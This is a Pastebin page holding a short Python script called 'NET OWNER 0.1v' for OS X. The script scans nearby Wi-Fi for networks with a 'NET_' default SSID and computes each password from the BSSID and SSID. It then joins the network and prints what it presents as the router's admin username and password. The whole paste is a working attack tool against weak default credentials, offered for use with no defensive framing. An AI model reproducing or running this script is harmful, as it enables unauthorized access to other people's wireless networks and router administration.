Advertisement
Guest User

Untitled

a guest
Dec 1st, 2016
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2.  
  3. import subprocess
  4.  
  5.  
  6. '''
  7. NET OWNER 0.1v
  8. Only works with OS X
  9. run with sudo
  10. '''
  11.  
  12. def scan_network() :
  13. scan = ''
  14.  
  15. while scan == '' : # for some reason airport fails randomly
  16. scan = subprocess.check_output(["/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport","scan"]) # scan the area for wifi
  17.  
  18. scan = scan.split("\n")
  19. scan.pop(0)
  20. results = []
  21. for w in scan :
  22. w = filter(None,w.split(" "))
  23. if any("NET_" in z for z in w) : #filter the NET's default SSID
  24. print "Found WIFI !"
  25. wifi = [w[0]]
  26. # the password consists of CM_MAC last 4 hexas of the router , which are the third hexa of the BSSID plus the last 3 hexas of the SSID
  27. password = ''.join(w[1].upper().split(":")[2:3])+w[0].split("_")[1][2:]
  28. results.append([w[0],password,w[1]])
  29. return results
  30.  
  31. def connect_net(wifi) :
  32. print "Trying to connect..."
  33. connect = subprocess.check_output(["networksetup", "-setairportnetwork", "en0", wifi[0] ,wifi[1]])
  34.  
  35. print connect
  36.  
  37. if "Failed" in connect :
  38. print "nope :("
  39. return 0
  40.  
  41. print "Connected ! have fun (:"
  42. print "Here, the admin credentials of the router"
  43. print "User : "+wifi[0]
  44. print "Password : NET_"+wifi[1][2:] # the password is the full CM_MAC
  45. print "yeah ,I know..."
  46. exit(0)
  47.  
  48. def main() :
  49.  
  50. print "NET OWNER 0.1v"
  51. print "≈≈≈≈≈≈≈≈≈≈≈≈≈≈"
  52.  
  53. wifi_available= scan_network()
  54.  
  55. if len(wifi_available) == 0 :
  56. print "No NET WiFi available :'("
  57. exit(0)
  58.  
  59. for wifi in wifi_available :
  60. print "WI-FI : "+wifi[0]
  61. print "Password : "+wifi[1]
  62. connect_net(wifi)
  63.  
  64.  
  65. if __name__ == "__main__" :
  66. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement